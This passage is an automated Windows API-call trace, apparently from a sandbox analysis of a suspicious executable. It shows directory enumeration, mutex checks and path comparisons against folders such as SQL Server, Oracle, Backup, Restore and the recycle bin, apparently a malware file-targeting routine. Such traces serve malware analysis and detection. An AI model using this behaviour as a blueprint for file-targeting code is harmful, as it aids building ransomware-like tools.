ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0057.137] GetLastError () returned 0x12 [0057.137] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.137] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.137] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.137] GlobalUnlock (hMem=0x44000c) returned 0 [0057.137] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.137] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.137] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.138] GlobalUnlock (hMem=0x44000c) returned 0 [0057.138] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.138] GlobalUnlock (hMem=0x440004) returned 0 [0057.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x433a2100, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x433a2100, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.138] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0057.138] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.138] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.138] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.138] GlobalUnlock (hMem=0x440004) returned 0 [0057.138] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.138] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.138] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.138] GlobalUnlock (hMem=0x440004) returned 0 [0057.138] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.138] GlobalUnlock (hMem=0x44000c) returned 0 [0057.138] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.138] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x433a2100, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x433a2100, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.138] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.138] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.139] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.139] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.139] GlobalUnlock (hMem=0x44000c) returned 0 [0057.139] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.139] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.139] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.139] GlobalUnlock (hMem=0x44000c) returned 0 [0057.139] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.139] GlobalUnlock (hMem=0x440004) returned 0 [0057.139] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.139] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.139] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.139] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.139] GlobalLock (hMem=0x440004) returned 0x550170 [0057.139] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.139] GlobalUnlock (hMem=0x440004) returned 0 [0057.139] GlobalLock (hMem=0x440004) returned 0x550170 [0057.139] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.139] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.139] GlobalUnlock (hMem=0x440004) returned 0 [0057.139] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.139] GlobalUnlock (hMem=0x44000c) returned 0 [0057.139] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.139] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.139] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.140] GlobalUnlock (hMem=0x44000c) returned 0 [0057.140] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.140] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.140] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.140] GlobalUnlock (hMem=0x44000c) returned 0 [0057.140] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.140] GlobalUnlock (hMem=0x440004) returned 0 [0057.140] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.140] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US", len=0x31 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US") returned 1 [0057.140] GlobalLock (hMem=0x440004) returned 0x550170 [0057.140] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.140] GlobalUnlock (hMem=0x440004) returned 0 [0057.140] GlobalLock (hMem=0x440004) returned 0x550170 [0057.140] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.140] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.140] GlobalUnlock (hMem=0x440004) returned 0 [0057.140] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.140] GlobalUnlock (hMem=0x44000c) returned 0 [0057.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@藄T薘T企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0057.141] GetLastError () returned 0x3 [0057.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@蔴T企@\x18㿬Q\x181")) returned 0xffffffff [0057.143] GetLastError () returned 0x2 [0057.143] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@Q企@\x18?T\x18;")) returned 0xffffffff [0057.143] GetLastError () returned 0x2 [0057.143] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0057.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@㎬R企@\x18?T\x18D")) returned 0xffffffff [0057.144] GetLastError () returned 0x2 [0057.144] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@蔴T企@\x18Q\x18j")) returned 0xffffffff [0057.145] GetLastError () returned 0x2 [0057.145] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0057.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@锴R企@\x18?T\x18q")) returned 0xffffffff [0057.146] GetLastError () returned 0x2 [0057.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0057.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0057.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@㎬R企@\x18?T\x18y")) returned 0xffffffff [0057.147] GetLastError () returned 0x2 [0057.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0057.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0057.147] GetLastError () returned 0x2 [0057.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0057.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@锴R企@\x18?T\x18\x88")) returned 0xffffffff [0057.148] GetLastError () returned 0x2 [0057.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0057.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@㎬R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.149] GetLastError () returned 0x2 [0057.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵?\x18") returned 7 [0057.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翬R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0057.149] GetLastError () returned 0x2 [0057.149] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.150] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.150] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.150] GlobalUnlock (hMem=0x44000c) returned 0 [0057.150] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.150] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.150] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.150] GlobalUnlock (hMem=0x44000c) returned 0 [0057.150] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.150] GlobalUnlock (hMem=0x440004) returned 0 [0057.150] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.150] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.150] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.150] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.150] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.151] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.151] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.151] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.151] GlobalLock (hMem=0x440004) returned 0x550170 [0057.151] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.151] GlobalUnlock (hMem=0x440004) returned 0 [0057.151] GlobalLock (hMem=0x440004) returned 0x550170 [0057.151] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.151] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.151] GlobalUnlock (hMem=0x440004) returned 0 [0057.151] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.151] GlobalUnlock (hMem=0x44000c) returned 0 [0057.151] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar 